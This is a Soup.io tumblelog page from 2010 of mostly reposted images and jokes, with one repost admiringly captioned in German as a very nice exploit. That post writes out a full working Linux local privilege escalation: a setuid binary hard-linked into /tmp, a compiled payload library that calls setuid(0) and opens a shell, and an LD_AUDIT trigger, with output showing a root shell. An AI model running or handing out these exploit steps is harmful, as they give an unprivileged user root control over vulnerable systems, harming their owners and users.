Tumblelog by Soup.io
Newer posts are loading.
You are at the newest post.
Click here to check if anything new just came in.

November 20 2010

bradbury
bradbury
6198_7a1d_390
Reposted fromcolicab colicab viaps-xaf ps-xaf
bradbury

Das ist WIRKLICH ein schöner exploit

# Create a directory in /tmp we can control.
$ mkdir /tmp/exploit

# Link to an suid binary, thus changing the definition of $ORIGIN.
$ ln /bin/ping /tmp/exploit/target

# Open a file descriptor to the target binary (note: some users are surprised
# to learn exec can be used to manipulate the redirections of the current
# shell if a command is not specified. This is what is happening below).
$ exec 3< /tmp/exploit/target

# This descriptor should now be accessible via /proc.
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*

# Remove the directory previously created
$ rm -rf /tmp/exploit/

# The /proc link should still exist, but now will be marked deleted.
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

# Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().
$ cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

# Now force the link in /proc to load $ORIGIN via LD_AUDIT.
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
Reposted fromoverflo overflo viaps-xaf ps-xaf
bradbury
Reposted fromZera Zera viaps-xaf ps-xaf
bradbury
Android API.
Reposted fromsoba soba viaps-xaf ps-xaf
bradbury
Yup. Knew it.
Reposted fromlevune levune viaSpecies5618 Species5618
bradbury
bradbury
Reposted fromSixtus Sixtus viaSpecies5618 Species5618
bradbury

November 19 2010

bradbury
Play fullscreen
a wild ratata appears
Reposted fromfojtu fojtu viaSpecies5618 Species5618
bradbury
Reposted fromfasel fasel viaSpecies5618 Species5618
bradbury
7257_5bc5
spot 7 differences
Reposted fromkender kender viaSpecies5618 Species5618

April 22 2010

bradbury
Reposted bywindziarzmaliwaickyvsundstonerrDTDSRnikotynaborsukmonikalukowskaesemokapani-janoodleZ
bradbury
Play fullscreen
The laziest cat
Reposted fromSpecies5618 Species5618
bradbury
2162_d4a6_390
Reposted fromSpowiednik Spowiednik viaSpecies5618 Species5618
bradbury
5147_9023_390

Android VS iPhone

April 15 2010

bradbury
2398_07b1_390
bradbury

April 14 2010

bradbury
2701_b47b_390
...or drunk
Reposted fromsavor savor viaSpecies5618 Species5618
bradbury
Older posts are this way If this message doesn't go away, click anywhere on the page to continue loading posts.
Could not load more posts
Maybe Soup is currently being updated? I'll try again automatically in a few seconds...
Just a second, loading more posts...
You've reached the end.